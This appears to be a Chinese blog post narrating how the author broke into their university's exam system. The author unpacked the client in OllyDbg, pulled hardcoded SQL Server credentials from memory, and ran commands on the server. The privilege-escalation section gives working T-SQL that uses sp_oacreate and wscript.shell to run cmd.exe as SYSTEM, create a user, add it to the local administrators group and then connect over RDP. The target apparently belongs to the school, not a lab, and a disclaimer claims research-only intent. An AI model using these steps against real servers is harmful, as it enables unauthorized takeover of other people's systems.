前言

这学期上数据库课用到了我校某老师自己开发的一个考试系统软件,然后在一次小测中这垃圾系统我语句明明就是对的,可它编译就一直报错说我语法错误(这不是逼我干他吗? PS:我是开玩笑的,以下操作仅作为测试,用户在测试成功后已删除。This is test !!!
注:此文章仅限于安全研究,违法犯罪与作者无关!

原来bie早就日穿了这垃圾系统.jpg
https://9bie.org/index.php/archives/480/

逆向分析

将程序载入OD这个程序是加了一个ASPack的壳子,直接用ESP定律找到OEP

F9运行到了OEP附近,走过这个retn

现在就来到了OEP(如果你的OD显示的都是db的话用右键->分析->从模块中删除目标扫描),然后删掉之前下的硬件断点

然后继续单步……(balabala
或者我们直接利用工具将它脱壳然后将其导入,右键->中文搜索引擎->智能搜索

接着搜索字符串password=我们的目的是找数据库的连接信息

然后跟随过去后在段首下一个断点

F9运行程序,发现程序已经段下来了,右边的寄存器窗口中显示的就是连接信息,但不全面

继续F8单步,运行到我们找到的 password= 附近的call,看到堆栈窗口中已经完全显示了连接信息

渗透提权

得到账号密码后,我们就开始sqlserver连接到服务器

这里我们是可以调用cmd执行命令的,whoami 发现是 system

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\log.txt'

create table tmp_text (lines nvarchar(1000))
bulk insert tmp_text from N'C:\log.txt'
select * from tmp_text
drop table tmp_text

于是我们就开始增加用户并给新建的账号管理员权限

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add >c:\log.txt'

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add >c:\log.txt'

create table tmp_text (lines nvarchar(1000))
bulk insert tmp_text from N'C:\log.txt'
select * from tmp_text
drop table tmp_text

最后mstsc成功连上

总结

最后感谢bie的文章以及Helen师傅的帮忙,让不会逆向的我成功日穿了它!!!
PS:以上内容如有表述有误或写错之处,请大佬们更正一二?‍